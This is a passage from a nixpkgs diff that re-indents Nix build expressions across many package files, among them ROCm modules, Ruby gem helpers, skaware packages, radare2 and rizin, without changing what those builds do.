+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals buildExtendedTests [
+    "-DROCWMMA_BUILD_EXTENDED_TESTS=ON"
+  ]
+  ++ lib.optionals buildBenchmarks [
+    "-DROCWMMA_BUILD_BENCHMARK_TESTS=ON"
+    "-DROCWMMA_BENCHMARK_WITH_ROCBLAS=ON"
+  ];
 
   postInstall =
     lib.optionalString (buildTests || buildBenchmarks) ''
diff --git a/pkgs/development/rocm-modules/6/rpp/default.nix b/pkgs/development/rocm-modules/6/rpp/default.nix
index 64fd8af1cba6..4185c91e079f 100644
--- a/pkgs/development/rocm-modules/6/rpp/default.nix
+++ b/pkgs/development/rocm-modules/6/rpp/default.nix
@@ -38,16 +38,15 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-METwagek17/DdZGaOTQqvyU6xGt7OBMLHk4YM4KmgtA=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      rocm-cmake
-      clr
-    ]
-    ++ lib.optionals buildDocs [
-      rocm-docs-core
-      python3Packages.python
-    ];
+  nativeBuildInputs = [
+    cmake
+    rocm-cmake
+    clr
+  ]
+  ++ lib.optionals buildDocs [
+    rocm-docs-core
+    python3Packages.python
+  ];
 
   buildInputs = [
     half
@@ -57,25 +56,24 @@ stdenv.mkDerivation (finalAttrs: {
 
   CFLAGS = "-I${openmp.dev}/include";
   CXXFLAGS = "-I${openmp.dev}/include";
-  cmakeFlags =
-    [
-      "-DOpenMP_C_INCLUDE_DIR=${openmp.dev}/include"
-      "-DOpenMP_CXX_INCLUDE_DIR=${openmp.dev}/include"
-      "-DOpenMP_omp_LIBRARY=${openmp}/lib"
-      "-DROCM_PATH=${clr}"
-    ]
-    ++ lib.optionals (gpuTargets != [ ]) [
-      "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
-    ]
-    ++ lib.optionals (!useOpenCL && !useCPU) [
-      "-DBACKEND=HIP"
-    ]
-    ++ lib.optionals (useOpenCL && !useCPU) [
-      "-DBACKEND=OCL"
-    ]
-    ++ lib.optionals useCPU [
-      "-DBACKEND=CPU"
-    ];
+  cmakeFlags = [
+    "-DOpenMP_C_INCLUDE_DIR=${openmp.dev}/include"
+    "-DOpenMP_CXX_INCLUDE_DIR=${openmp.dev}/include"
+    "-DOpenMP_omp_LIBRARY=${openmp}/lib"
+    "-DROCM_PATH=${clr}"
+  ]
+  ++ lib.optionals (gpuTargets != [ ]) [
+    "-DAMDGPU_TARGETS=${lib.concatStringsSep ";" gpuTargets}"
+  ]
+  ++ lib.optionals (!useOpenCL && !useCPU) [
+    "-DBACKEND=HIP"
+  ]
+  ++ lib.optionals (useOpenCL && !useCPU) [
+    "-DBACKEND=OCL"
+  ]
+  ++ lib.optionals useCPU [
+    "-DBACKEND=CPU"
+  ];
 
   postPatch = lib.optionalString (!useOpenCL && !useCPU) ''
     # Bad path
diff --git a/pkgs/development/rocm-modules/6/tensile/default.nix b/pkgs/development/rocm-modules/6/tensile/default.nix
index 6d66513bd402..9446452692f2 100644
--- a/pkgs/development/rocm-modules/6/tensile/default.nix
+++ b/pkgs/development/rocm-modules/6/tensile/default.nix
@@ -58,21 +58,20 @@ buildPythonPackage rec {
 
   buildInputs = [ setuptools ];
 
-  propagatedBuildInputs =
-    [
-      pyyaml
-      msgpack
-      pandas
-      joblib
-    ]
-    ++ lib.optionals (!isTensileLite) [
-      rich
-    ]
-    ++ lib.optionals isTensileLite [
-      simplejson
-      ujson
-      orjson
-    ];
+  propagatedBuildInputs = [
+    pyyaml
+    msgpack
+    pandas
+    joblib
+  ]
+  ++ lib.optionals (!isTensileLite) [
+    rich
+  ]
+  ++ lib.optionals isTensileLite [
+    simplejson
+    ujson
+    orjson
+  ];
 
   patches =
     lib.optional (!isTensileLite) ./tensile-solutionstructs-perf-fix.diff
diff --git a/pkgs/development/ruby-modules/bundled-common/default.nix b/pkgs/development/ruby-modules/bundled-common/default.nix
index 479bc6eec29d..0fb92ea07928 100644
--- a/pkgs/development/ruby-modules/bundled-common/default.nix
+++ b/pkgs/development/ruby-modules/bundled-common/default.nix
@@ -164,7 +164,8 @@ let
 
     meta = {
       platforms = ruby.meta.platforms;
-    } // meta;
+    }
+    // meta;
 
     passthru = (
       lib.optionalAttrs (pname != null) {
diff --git a/pkgs/development/ruby-modules/bundler-app/default.nix b/pkgs/development/ruby-modules/bundler-app/default.nix
index 0a0b5818f375..2d6714b55688 100644
--- a/pkgs/development/ruby-modules/bundler-app/default.nix
+++ b/pkgs/development/ruby-modules/bundler-app/default.nix
@@ -64,7 +64,8 @@ let
       meta = {
         mainProgram = pname;
         inherit (ruby.meta) platforms;
-      } // meta;
+      }
+      // meta;
       passthru =
         basicEnv.passthru
         // {
diff --git a/pkgs/development/ruby-modules/bundler-env/default.nix b/pkgs/development/ruby-modules/bundler-env/default.nix
index df43ce4c6a36..9510ebf659bd 100644
--- a/pkgs/development/ruby-modules/bundler-env/default.nix
+++ b/pkgs/development/ruby-modules/bundler-env/default.nix
@@ -90,7 +90,8 @@ else
 
       meta = {
         platforms = ruby.meta.platforms;
-      } // meta;
+      }
+      // meta;
       passthru =
         basicEnv.passthru
         // {
diff --git a/pkgs/development/ruby-modules/gem-config/default.nix b/pkgs/development/ruby-modules/gem-config/default.nix
index 2e1f170a6a25..304d11c14314 100644
--- a/pkgs/development/ruby-modules/gem-config/default.nix
+++ b/pkgs/development/ruby-modules/gem-config/default.nix
@@ -142,7 +142,8 @@ in
       rake
       bundler
       pkg-config
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
     propagatedBuildInputs = [
       gobject-introspection
       wrapGAppsHook3
@@ -372,7 +373,8 @@ in
       pkg-config
       bundler
       rake
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
     propagatedBuildInputs = [
       gobject-introspection
       wrapGAppsHook3
@@ -385,7 +387,8 @@ in
       pkg-config
       bundler
       rake
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
     propagatedBuildInputs = [
       gobject-introspection
       wrapGAppsHook3
@@ -404,18 +407,18 @@ in
     nativeBuildInputs = [
       pkg-config
       gobject-introspection
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
-    buildInputs =
-      [
-        glib
-        libsysprof-capture
-        pcre2
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        util-linux
-        libselinux
-        libsepol
-      ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
+    buildInputs = [
+      glib
+      libsysprof-capture
+      pcre2
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      util-linux
+      libselinux
+      libsepol
+    ];
   };
 
   gitlab-markup = attrs: { meta.priority = 1; };
@@ -529,17 +532,16 @@ in
   };
 
   gtk3 = attrs: {
-    nativeBuildInputs =
-      [
-        binutils
-        pkg-config
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        util-linux
-        libselinux
-        libsepol
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
+    nativeBuildInputs = [
+      binutils
+      pkg-config
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      util-linux
+      libselinux
+      libsepol
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
     propagatedBuildInputs = [
       atk
       gdk-pixbuf
@@ -590,14 +592,15 @@ in
     };
 
   grpc = attrs: {
-    nativeBuildInputs =
-      [ pkg-config ]
-      ++ lib.optional stdenv.hostPlatform.isDarwin cctools
-      ++ lib.optional (
-        lib.versionAtLeast attrs.version "1.53.0"
-        && stdenv.hostPlatform.isDarwin
-        && stdenv.hostPlatform.isAarch64
-      ) autoSignDarwinBinariesHook;
+    nativeBuildInputs = [
+      pkg-config
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin cctools
+    ++ lib.optional (
+      lib.versionAtLeast attrs.version "1.53.0"
+      && stdenv.hostPlatform.isDarwin
+      && stdenv.hostPlatform.isAarch64
+    ) autoSignDarwinBinariesHook;
     buildInputs = [ openssl ];
     hardeningDisable = [ "format" ];
     env = lib.optionalAttrs (lib.versionOlder attrs.version "1.68.1") {
@@ -614,19 +617,18 @@ in
       })
     ];
     dontBuild = false;
-    postPatch =
-      ''
-        substituteInPlace Makefile \
-          --replace '-Wno-invalid-source-encoding' ""
-      ''
-      + lib.optionalString (lib.versionOlder attrs.version "1.53.0" && stdenv.hostPlatform.isDarwin) ''
-        # For < v1.48.0
-        substituteInPlace src/ruby/ext/grpc/extconf.rb \
-          --replace "ENV['AR'] = 'libtool -o' if RUBY_PLATFORM =~ /darwin/" ""
-        # For >= v1.48.0
-        substituteInPlace src/ruby/ext/grpc/extconf.rb \
-          --replace 'apple_toolchain = ' 'apple_toolchain = false && '
-      '';
+    postPatch = ''
+      substituteInPlace Makefile \
+        --replace '-Wno-invalid-source-encoding' ""
+    ''
+    + lib.optionalString (lib.versionOlder attrs.version "1.53.0" && stdenv.hostPlatform.isDarwin) ''
+      # For < v1.48.0
+      substituteInPlace src/ruby/ext/grpc/extconf.rb \
+        --replace "ENV['AR'] = 'libtool -o' if RUBY_PLATFORM =~ /darwin/" ""
+      # For >= v1.48.0
+      substituteInPlace src/ruby/ext/grpc/extconf.rb \
+        --replace 'apple_toolchain = ' 'apple_toolchain = false && '
+    '';
   };
 
   hpricot = attrs: {
@@ -665,15 +667,14 @@ in
   };
 
   libxml-ruby = attrs: {
-    buildFlags =
-      [
-        "--with-xml2-lib=${libxml2.out}/lib"
-        "--with-xml2-include=${libxml2.dev}/include/libxml2"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        "--with-iconv-dir=${lib.getLib libiconv}"
-        "--with-opt-include=${lib.getDev libiconv}/include"
-      ];
+    buildFlags = [
+      "--with-xml2-lib=${libxml2.out}/lib"
+      "--with-xml2-include=${libxml2.dev}/include/libxml2"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      "--with-iconv-dir=${lib.getLib libiconv}"
+      "--with-opt-include=${lib.getDev libiconv}/include"
+    ];
   };
 
   mathematical = attrs: {
@@ -786,22 +787,21 @@ in
     attrs:
     (
       {
-        buildFlags =
-          [
-            "--use-system-libraries"
-            "--with-zlib-lib=${zlib.out}/lib"
-            "--with-zlib-include=${zlib.dev}/include"
-            "--with-xml2-lib=${libxml2.out}/lib"
-            "--with-xml2-include=${libxml2.dev}/include/libxml2"
-            "--with-xslt-lib=${libxslt.out}/lib"
-            "--with-xslt-include=${libxslt.dev}/include"
-            "--with-exslt-lib=${libxslt.out}/lib"
-            "--with-exslt-include=${libxslt.dev}/include"
-          ]
-          ++ lib.optionals stdenv.hostPlatform.isDarwin [
-            "--with-iconv-dir=${libiconv}"
-            "--with-opt-include=${libiconv}/include"
-          ];
+        buildFlags = [
+          "--use-system-libraries"
+          "--with-zlib-lib=${zlib.out}/lib"
+          "--with-zlib-include=${zlib.dev}/include"
+          "--with-xml2-lib=${libxml2.out}/lib"
+          "--with-xml2-include=${libxml2.dev}/include/libxml2"
+          "--with-xslt-lib=${libxslt.out}/lib"
+          "--with-xslt-include=${libxslt.dev}/include"
+          "--with-exslt-lib=${libxslt.out}/lib"
+          "--with-exslt-include=${libxslt.dev}/include"
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isDarwin [
+          "--with-iconv-dir=${libiconv}"
+          "--with-opt-include=${libiconv}/include"
+        ];
       }
       // lib.optionalAttrs stdenv.hostPlatform.isDarwin {
         buildInputs = [ libxml2 ];
@@ -846,23 +846,23 @@ in
   pango = attrs: {
     nativeBuildInputs = [
       pkg-config
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
-    buildInputs =
-      [
-        libdatrie
-        libthai
-        fribidi
-        harfbuzz
-        libsysprof-capture
-        pcre2
-        xorg.libpthreadstubs
-        xorg.libXdmcp
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        libselinux
-        libsepol
-        util-linux
-      ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ DarwinTools ];
+    buildInputs = [
+      libdatrie
+      libthai
+      fribidi
+      harfbuzz
+      libsysprof-capture
+      pcre2
+      xorg.libpthreadstubs
+      xorg.libXdmcp
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      libselinux
+      libsepol
+      util-linux
+    ];
     propagatedBuildInputs = [
       gobject-introspection
       wrapGAppsHook3
@@ -1025,7 +1025,8 @@ in
       cmake
       pkg-config
       which
-    ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
     buildInputs = [
       openssl
       libssh2
diff --git a/pkgs/development/ruby-modules/gem/default.nix b/pkgs/development/ruby-modules/gem/default.nix
index 2f677f860f87..0e3c1c4187f2 100644
--- a/pkgs/development/ruby-modules/gem/default.nix
+++ b/pkgs/development/ruby-modules/gem/default.nix
@@ -115,18 +115,18 @@ lib.makeOverridable (
       inherit suffix;
       gemType = type;
 
-      nativeBuildInputs =
-        [
-          ruby
-          makeWrapper
-        ]
-        ++ lib.optionals (type == "git") [ gitMinimal ]
-        ++ lib.optionals (type != "gem") [ bundler ]
-        ++ nativeBuildInputs;
+      nativeBuildInputs = [
+        ruby
+        makeWrapper
+      ]
+      ++ lib.optionals (type == "git") [ gitMinimal ]
+      ++ lib.optionals (type != "gem") [ bundler ]
+      ++ nativeBuildInputs;
 
       buildInputs = [
         ruby
-      ] ++ buildInputs;
+      ]
+      ++ buildInputs;
 
       #name = builtins.trace (attrs.name or "no attr.name" ) "${namePrefix}${gemName}-${version}";
       name = attrs.name or "${namePrefix}${gemName}-${suffix}";
@@ -299,7 +299,8 @@ lib.makeOverridable (
         # default to Ruby's platforms
         platforms = ruby.meta.platforms;
         mainProgram = gemName;
-      } // meta;
+      }
+      // meta;
     }
   )
 
diff --git a/pkgs/development/skaware-packages/s6-networking/default.nix b/pkgs/development/skaware-packages/s6-networking/default.nix
index a30c7f8c0c45..d09d715c2db7 100644
--- a/pkgs/development/skaware-packages/s6-networking/default.nix
+++ b/pkgs/development/skaware-packages/s6-networking/default.nix
@@ -47,33 +47,32 @@ skawarePackages.buildPackage {
   ];
 
   # TODO: nsss support
-  configureFlags =
-    [
-      "--libdir=\${lib}/lib"
-      "--libexecdir=\${lib}/libexec"
-      "--dynlibdir=\${lib}/lib"
-      "--bindir=\${bin}/bin"
-      "--includedir=\${dev}/include"
-      "--with-sysdeps=${skalibs.lib}/lib/skalibs/sysdeps"
-      "--with-include=${skalibs.dev}/include"
-      "--with-include=${execline.dev}/include"
-      "--with-include=${s6.dev}/include"
-      "--with-include=${s6-dns.dev}/include"
-      "--with-lib=${skalibs.lib}/lib"
-      "--with-lib=${execline.lib}/lib"
-      "--with-lib=${s6.out}/lib"
-      "--with-lib=${s6-dns.lib}/lib"
-      "--with-dynlib=${skalibs.lib}/lib"
-      "--with-dynlib=${execline.lib}/lib"
-      "--with-dynlib=${s6.out}/lib"
-      "--with-dynlib=${s6-dns.lib}/lib"
-    ]
-    ++ (lib.optionals sslSupportEnabled [
-      "--enable-ssl=${sslSupport}"
-      "--with-include=${lib.getDev sslLibs.${sslSupport}}/include"
-      "--with-lib=${lib.getLib sslLibs.${sslSupport}}/lib"
-      "--with-dynlib=${lib.getLib sslLibs.${sslSupport}}/lib"
-    ]);
+  configureFlags = [
+    "--libdir=\${lib}/lib"
+    "--libexecdir=\${lib}/libexec"
+    "--dynlibdir=\${lib}/lib"
+    "--bindir=\${bin}/bin"
+    "--includedir=\${dev}/include"
+    "--with-sysdeps=${skalibs.lib}/lib/skalibs/sysdeps"
+    "--with-include=${skalibs.dev}/include"
+    "--with-include=${execline.dev}/include"
+    "--with-include=${s6.dev}/include"
+    "--with-include=${s6-dns.dev}/include"
+    "--with-lib=${skalibs.lib}/lib"
+    "--with-lib=${execline.lib}/lib"
+    "--with-lib=${s6.out}/lib"
+    "--with-lib=${s6-dns.lib}/lib"
+    "--with-dynlib=${skalibs.lib}/lib"
+    "--with-dynlib=${execline.lib}/lib"
+    "--with-dynlib=${s6.out}/lib"
+    "--with-dynlib=${s6-dns.lib}/lib"
+  ]
+  ++ (lib.optionals sslSupportEnabled [
+    "--enable-ssl=${sslSupport}"
+    "--with-include=${lib.getDev sslLibs.${sslSupport}}/include"
+    "--with-lib=${lib.getLib sslLibs.${sslSupport}}/lib"
+    "--with-dynlib=${lib.getLib sslLibs.${sslSupport}}/lib"
+  ]);
 
   postInstall = ''
     # remove all s6 executables from build directory
diff --git a/pkgs/development/skaware-packages/skalibs/default.nix b/pkgs/development/skaware-packages/skalibs/default.nix
index 0f8bfe664c31..ba4e242b89e6 100644
--- a/pkgs/development/skaware-packages/skalibs/default.nix
+++ b/pkgs/development/skaware-packages/skalibs/default.nix
@@ -19,30 +19,29 @@ skawarePackages.buildPackage {
     "out"
   ];
 
-  configureFlags =
-    [
-      # assume /dev/random works
-      "--enable-force-devr"
-      "--libdir=\${lib}/lib"
-      "--dynlibdir=\${lib}/lib"
-      "--includedir=\${dev}/include"
-      "--sysdepdir=\${lib}/lib/skalibs/sysdeps"
-      # Empty the default path, which would be "/usr/bin:bin".
-      # It would be set when PATH is empty. This hurts hermeticity.
-      "--with-default-path="
+  configureFlags = [
+    # assume /dev/random works
+    "--enable-force-devr"
+    "--libdir=\${lib}/lib"
+    "--dynlibdir=\${lib}/lib"
+    "--includedir=\${dev}/include"
+    "--sysdepdir=\${lib}/lib/skalibs/sysdeps"
+    # Empty the default path, which would be "/usr/bin:bin".
+    # It would be set when PATH is empty. This hurts hermeticity.
+    "--with-default-path="
 
-    ]
-    ++ lib.optionals (stdenv.buildPlatform.config != stdenv.hostPlatform.config) [
-      # ./configure: sysdep posixspawnearlyreturn cannot be autodetected
-      # when cross-compiling. Please manually provide a value with the
-      # --with-sysdep-posixspawnearlyreturn=yes|no|... option.
-      #
-      # posixspawnearlyreturn: `yes` if the target has a broken
-      # `posix_spawn()` implementation that can return before the
-      # child has successfully exec'ed. That happens with old glibcs
-      # and some virtual platforms.
-      "--with-sysdep-posixspawnearlyreturn=no"
-    ];
+  ]
+  ++ lib.optionals (stdenv.buildPlatform.config != stdenv.hostPlatform.config) [
+    # ./configure: sysdep posixspawnearlyreturn cannot be autodetected
+    # when cross-compiling. Please manually provide a value with the
+    # --with-sysdep-posixspawnearlyreturn=yes|no|... option.
+    #
+    # posixspawnearlyreturn: `yes` if the target has a broken
+    # `posix_spawn()` implementation that can return before the
+    # child has successfully exec'ed. That happens with old glibcs
+    # and some virtual platforms.
+    "--with-sysdep-posixspawnearlyreturn=no"
+  ];
 
   postInstall = ''
     rm -rf sysdeps.cfg
diff --git a/pkgs/development/tcl-modules/by-name/ti/tix/package.nix b/pkgs/development/tcl-modules/by-name/ti/tix/package.nix
index 9257d4a760aa..f7c1c16b5185 100644
--- a/pkgs/development/tcl-modules/by-name/ti/tix/package.nix
+++ b/pkgs/development/tcl-modules/by-name/ti/tix/package.nix
@@ -13,24 +13,23 @@ tcl.mkTclDerivation {
     url = "mirror://sourceforge/tix/tix/8.4.3/Tix8.4.3-src.tar.gz";
     sha256 = "1jq3dkyk9mqkj4cg7mdk5r0cclqsby9l2b7wrysi0zk5yw7h8bsn";
   };
-  patches =
-    [
-      (fetchpatch {
-        name = "tix-8.4.3-tcl8.5.patch";
-        url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/dev-tcltk/tix/files/tix-8.4.3-tcl8.5.patch?id=56bd759df1d0c750a065b8c845e93d5dfa6b549d";
-        sha256 = "0wzqmcxxq0rqpnjgxz10spw92yhfygnlwv0h8pcx2ycnqiljz6vj";
-      })
-      # Remove duplicated definition of XLowerWindow
-      ./duplicated-xlowerwindow.patch
-      # Fix incompatible function pointer conversions and implicit definition of `panic`.
-      # `panic` is just `Tcl_Panic`, but it is not defined on Darwin due to a conflict with `mach/mach.h`.
-      ./fix-clang16.patch
-    ]
-    ++ lib.optional (tcl.release == "8.6") (fetchpatch {
-      name = "tix-8.4.3-tcl8.6.patch";
-      url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/dev-tcltk/tix/files/tix-8.4.3-tcl8.6.patch?id=56bd759df1d0c750a065b8c845e93d5dfa6b549d";
-      sha256 = "1jaz0l22xj7x1k4rb9ia6i1psnbwk4pblgq4gfvya7gg7fbb7r36";
-    });
+  patches = [
+    (fetchpatch {
+      name = "tix-8.4.3-tcl8.5.patch";
+      url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/dev-tcltk/tix/files/tix-8.4.3-tcl8.5.patch?id=56bd759df1d0c750a065b8c845e93d5dfa6b549d";
+      sha256 = "0wzqmcxxq0rqpnjgxz10spw92yhfygnlwv0h8pcx2ycnqiljz6vj";
+    })
+    # Remove duplicated definition of XLowerWindow
+    ./duplicated-xlowerwindow.patch
+    # Fix incompatible function pointer conversions and implicit definition of `panic`.
+    # `panic` is just `Tcl_Panic`, but it is not defined on Darwin due to a conflict with `mach/mach.h`.
+    ./fix-clang16.patch
+  ]
+  ++ lib.optional (tcl.release == "8.6") (fetchpatch {
+    name = "tix-8.4.3-tcl8.6.patch";
+    url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/dev-tcltk/tix/files/tix-8.4.3-tcl8.6.patch?id=56bd759df1d0c750a065b8c845e93d5dfa6b549d";
+    sha256 = "1jaz0l22xj7x1k4rb9ia6i1psnbwk4pblgq4gfvya7gg7fbb7r36";
+  });
   buildInputs = [ tk ];
   # the configure script expects to find the location of the sources of
   # tcl and tk in {tcl,tk}Config.sh
diff --git a/pkgs/development/tools/ammonite/default.nix b/pkgs/development/tools/ammonite/default.nix
index 7573c528e305..99e254291373 100644
--- a/pkgs/development/tools/ammonite/default.nix
+++ b/pkgs/development/tools/ammonite/default.nix
@@ -28,15 +28,14 @@ let
 
       dontUnpack = true;
 
-      installPhase =
-        ''
-          install -Dm755 $src $out/bin/amm
-          sed -i '0,/java/{s|java|${jre}/bin/java|}' $out/bin/amm
-        ''
-        + lib.optionalString (disableRemoteLogging) ''
-          sed -i "0,/ammonite.Main/{s|ammonite.Main'|ammonite.Main' --no-remote-logging|}" $out/bin/amm
-          sed -i '1i #!/bin/sh' $out/bin/amm
-        '';
+      installPhase = ''
+        install -Dm755 $src $out/bin/amm
+        sed -i '0,/java/{s|java|${jre}/bin/java|}' $out/bin/amm
+      ''
+      + lib.optionalString (disableRemoteLogging) ''
+        sed -i "0,/ammonite.Main/{s|ammonite.Main'|ammonite.Main' --no-remote-logging|}" $out/bin/amm
+        sed -i '1i #!/bin/sh' $out/bin/amm
+      '';
 
       passthru = {
 
diff --git a/pkgs/development/tools/analysis/qcachegrind/default.nix b/pkgs/development/tools/analysis/qcachegrind/default.nix
index 352160006742..b8bda7488a40 100644
--- a/pkgs/development/tools/analysis/qcachegrind/default.nix
+++ b/pkgs/development/tools/analysis/qcachegrind/default.nix
@@ -28,30 +28,29 @@ stdenv.mkDerivation {
 
   dontWrapQtApps = true;
 
-  postInstall =
-    ''
-      mkdir -p $out/bin
-      cp -p converters/dprof2calltree $out/bin/dprof2calltree
-      cp -p converters/memprof2calltree $out/bin/memprof2calltree
-      cp -p converters/op2calltree $out/bin/op2calltree
-      cp -p converters/pprof2calltree $out/bin/pprof2calltree
-      chmod -R +x $out/bin/
-    ''
-    + (
-      if stdenv.hostPlatform.isDarwin then
-        ''
-          mkdir -p $out/Applications
-          cp cgview/cgview.app/Contents/MacOS/cgview $out/bin
-          cp -a qcachegrind/qcachegrind.app $out/Applications
-        ''
-      else
-        ''
-          install qcachegrind/qcachegrind cgview/cgview -t "$out/bin"
-          install -Dm644 qcachegrind/qcachegrind.desktop -t "$out/share/applications"
-          install -Dm644 kcachegrind/32-apps-kcachegrind.png "$out/share/icons/hicolor/32x32/apps/kcachegrind.png"
-          install -Dm644 kcachegrind/48-apps-kcachegrind.png "$out/share/icons/hicolor/48x48/apps/kcachegrind.png"
-        ''
-    );
+  postInstall = ''
+    mkdir -p $out/bin
+    cp -p converters/dprof2calltree $out/bin/dprof2calltree
+    cp -p converters/memprof2calltree $out/bin/memprof2calltree
+    cp -p converters/op2calltree $out/bin/op2calltree
+    cp -p converters/pprof2calltree $out/bin/pprof2calltree
+    chmod -R +x $out/bin/
+  ''
+  + (
+    if stdenv.hostPlatform.isDarwin then
+      ''
+        mkdir -p $out/Applications
+        cp cgview/cgview.app/Contents/MacOS/cgview $out/bin
+        cp -a qcachegrind/qcachegrind.app $out/Applications
+      ''
+    else
+      ''
+        install qcachegrind/qcachegrind cgview/cgview -t "$out/bin"
+        install -Dm644 qcachegrind/qcachegrind.desktop -t "$out/share/applications"
+        install -Dm644 kcachegrind/32-apps-kcachegrind.png "$out/share/icons/hicolor/32x32/apps/kcachegrind.png"
+        install -Dm644 kcachegrind/48-apps-kcachegrind.png "$out/share/icons/hicolor/48x48/apps/kcachegrind.png"
+      ''
+  );
 
   preFixup = ''
     wrapQtApp "$out/bin/qcachegrind"
diff --git a/pkgs/development/tools/analysis/radare2/default.nix b/pkgs/development/tools/analysis/radare2/default.nix
index 2fff31fed31d..0ba38fb56811 100644
--- a/pkgs/development/tools/analysis/radare2/default.nix
+++ b/pkgs/development/tools/analysis/radare2/default.nix
@@ -94,26 +94,25 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [
-      capstone
-      file
-      readline
-      libusb-compat-0_1
-      libewf
-      perl
-      zlib
-      openssl
-      libuv
-      lz4
-    ]
-    ++ lib.optionals useX11 [
-      gtkdialog
-      vte
-      gtk2
-    ]
-    ++ lib.optionals rubyBindings [ ruby ]
-    ++ lib.optionals luaBindings [ lua ];
+  buildInputs = [
+    capstone
+    file
+    readline
+    libusb-compat-0_1
+    libewf
+    perl
+    zlib
+    openssl
+    libuv
+    lz4
+  ]
+  ++ lib.optionals useX11 [
+    gtkdialog
+    vte
+    gtk2
+  ]
+  ++ lib.optionals rubyBindings [ ruby ]
+  ++ lib.optionals luaBindings [ lua ];
 
   propagatedBuildInputs = [
     # radare2 exposes r_lib which depends on these libraries
diff --git a/pkgs/development/tools/analysis/rizin/cutter.nix b/pkgs/development/tools/analysis/rizin/cutter.nix
index 213894fa62e3..630b4c7ae26a 100644
--- a/pkgs/development/tools/analysis/rizin/cutter.nix
+++ b/pkgs/development/tools/analysis/rizin/cutter.nix
@@ -54,20 +54,19 @@ let
       python3.pkgs.pyside6
     ];
 
-    buildInputs =
-      [
-        graphviz
-        python3
-        qt5compat
-        qtbase
-        qtsvg
-        qttools
-        qtwebengine
-        rizin
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        qtwayland
-      ];
+    buildInputs = [
+      graphviz
+      python3
+      qt5compat
+      qtbase
+      qtsvg
+      qttools
+      qtwebengine
+      rizin
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      qtwayland
+    ];
 
     cmakeFlags = [
       "-DCUTTER_USE_BUNDLED_RIZIN=OFF"
diff --git a/pkgs/development/tools/analysis/rizin/default.nix b/pkgs/development/tools/analysis/rizin/default.nix
index c865ac53b0b8..307cfeb6ab70 100644
--- a/pkgs/development/tools/analysis/rizin/default.nix
+++ b/pkgs/development/tools/analysis/rizin/default.nix
@@ -80,20 +80,19 @@ let
 
     # meson's find_library seems to not use our compiler wrapper if static parameter
     # is either true/false... We work around by also providing LIBRARY_PATH
-    preConfigure =
-      ''
-        LIBRARY_PATH=""
-        for b in ${toString (map lib.getLib buildInputs)}; do
-          if [[ -d "$b/lib" ]]; then
-            LIBRARY_PATH="$b/lib''${LIBRARY_PATH:+:}$LIBRARY_PATH"
-          fi
-        done
-        export LIBRARY_PATH
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        substituteInPlace binrz/rizin/macos_sign.sh \
-          --replace 'codesign' '# codesign'
-      '';
+    preConfigure = ''
+      LIBRARY_PATH=""
+      for b in ${toString (map lib.getLib buildInputs)}; do
+        if [[ -d "$b/lib" ]]; then
+          LIBRARY_PATH="$b/lib''${LIBRARY_PATH:+:}$LIBRARY_PATH"
+        fi
+      done
+      export LIBRARY_PATH
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      substituteInPlace binrz/rizin/macos_sign.sh \
+        --replace 'codesign' '# codesign'
+    '';
 
     buildInputs = [
       file
diff --git a/pkgs/development/tools/analysis/rizin/rz-ghidra.nix b/pkgs/development/tools/analysis/rizin/rz-ghidra.nix
index db0a053879b3..5f9153701c2e 100644
--- a/pkgs/development/tools/analysis/rizin/rz-ghidra.nix
+++ b/pkgs/development/tools/analysis/rizin/rz-ghidra.nix
@@ -28,29 +28,27 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   nativeBuildInputs = [ cmake ];
-  buildInputs =
-    [
-      openssl
-      pugixml
-      rizin
-    ]
-    ++ lib.optionals enableCutterPlugin [
-      cutter
-      qt5compat
-      qtbase
-      qtsvg
-    ];
+  buildInputs = [
+    openssl
+    pugixml
+    rizin
+  ]
+  ++ lib.optionals enableCutterPlugin [
+    cutter
+    qt5compat
+    qtbase
+    qtsvg
+  ];
 
   dontWrapQtApps = true;
 
-  cmakeFlags =
-    [
-      "-DUSE_SYSTEM_PUGIXML=ON"
-    ]
